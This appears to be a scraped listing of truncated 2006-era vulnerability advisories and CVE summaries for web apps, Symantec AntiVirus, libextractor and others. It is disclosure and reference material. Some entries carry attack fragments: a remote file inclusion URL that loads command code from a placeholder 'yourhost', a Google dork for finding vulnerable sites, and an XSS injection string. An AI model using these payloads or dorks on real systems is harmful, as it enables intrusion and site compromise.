Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...

Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion

phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs registerglobals on GET ...

F@cile Interactive Web <= 0.8x Remote (Include / XSS) Vulnerabilities

No description provided by source. F@cile Interactive Web = 0.8x Multiple Remote Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on F@cile Interactive Web = 0.8x Original advisory can be found at: http://www.nukedx.com/?viewdoc=35 File...

Realty Pro One Property Listing Script

Realty Pro One http://realtypro1.2run2.com/index.php Description: Realty Pro One is a powerful property listing tool with many features. Effected files: searchlookup.php images.php indexother.php requestinfo.php ?listingid Exploits & Vulns: XSS Vulnerability by the listingid variable:...

Pre News Manager v1.0

Pre News Manager v1.0 Homepage: http://www.preprojects.com/news.asp Description: Effected files: index.php newsdetail.php emailstory.php thankyou.php printableview.php tellafriend.php sendcomments.php Exploits & Vulns: XSS Vulnerabilities: By inserting IMG20"""SCRIPTalert"XSS"/SCRIPT" onto the id...

Symantec AntiVirus Remote Stack Buffer Overflow Vulnerability

Description Multiple Symantec products are prone to a remote stack buffer-overflow vulnerability. This issue allows remote attackers to execute arbitrary machine code with SYSTEM-level privileges, facilitating the complete compromise of affected computers. Symantec AntiVirus Corporate Edition 10....

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login...

libextractor 0.5.13 - Multiple Heap Overflows (PoC)

libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1801.zip 05172006-libextho.zip milw0rm.com 2006-05-17...

libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

No description provided by source. libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits http://www.milw0rm.com/sploits/05172006-libextho.zip milw0rm.com 2006-05-17...

libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

Exploit for multiple platform in category dos / poc ========================================================== libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits ========================================================== http://www.inj3ct0r.com/sploits/6149.zip 0day.today 2018-04-02...

GLSA-200605-11 : Ruby: Denial of Service

The remote host is affected by the vulnerability described in GLSA-200605-11 Ruby: Denial of Service Ruby uses blocking sockets for WEBrick and XMLRPC servers. Impact : An attacker could send large amounts of data to an affected server to block the socket and thus deny other connections to the...

Mac OS X Multiple Vulnerabilities (Security Update 2006-003)

The remote host is running Apple Mac OS X, but lacks Security Update 2006-003. This security update contains fixes for the following applications : AppKit ImageIO BOM CFNetwork ClamAV Mac OS X Server only CoreFoundation CoreGraphics Finder FTPServer Flash Player KeyCHain LaunchServices libcurl Ma...

EImagePro - view.asp?Pic SQL Injection

EImagePro - view.asp?Pic SQL Injection source: https://www.securityfocus.com/bid/17911/info EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful exploi...

Albinator 2.0.8 - 'dlisting.php?cid' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17826/info Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in the browser of an...

OrbitHYIP 2.0 - signup.php?referral Cross-Site Scripting

OrbitHYIP 2.0 - signup.php?referral Cross-Site Scripting source: https://www.securityfocus.com/bid/17766/info OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverag...

Invision Vulnerabilities, including remote code execution

Several Invision Flaws 2.1.5 and possibly earlier --------------------------------------------------- IceShaman & Wells HackThisSite.org 1 Code execution sources/actionpublic/search.php line 1261 $this-output = pregreplace "value="'$this-ipsclass-input'lastdate'"'i", "1 selected='selected'",...

linux/x86 xor-encoded Connect Back Shellcode 371 bytes

Exploit for linux/x86 platform in category shellcode ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes...

Authentication flaw

Unspecified vulnerability in the POP service in MailEnable Standard Edition before 1.94, Professional Edition before 1.74, and Enterprise Edition before 1.22 has unknown attack vectors and impact related to "authentication exploits". NOTE: this is a different set of affected versions, and probabl...

CVE-2006-1792

Unspecified vulnerability in the POP service in MailEnable Standard Edition before 1.94, Professional Edition before 1.74, and Enterprise Edition before 1.22 has unknown attack vectors and impact related to "authentication exploits". NOTE: this is a different set of affected versions, and probabl...

CVE-2006-1792

CVE-2006-1792 pertains to MailEnable’s POP service with affected versions: Standard Edition before 1.94, Professional Edition before 1.74, and Enterprise Edition before 1.22. The vulnerability is described as unspecified with unknown attack vectors and impact related to “authentication exploits.”...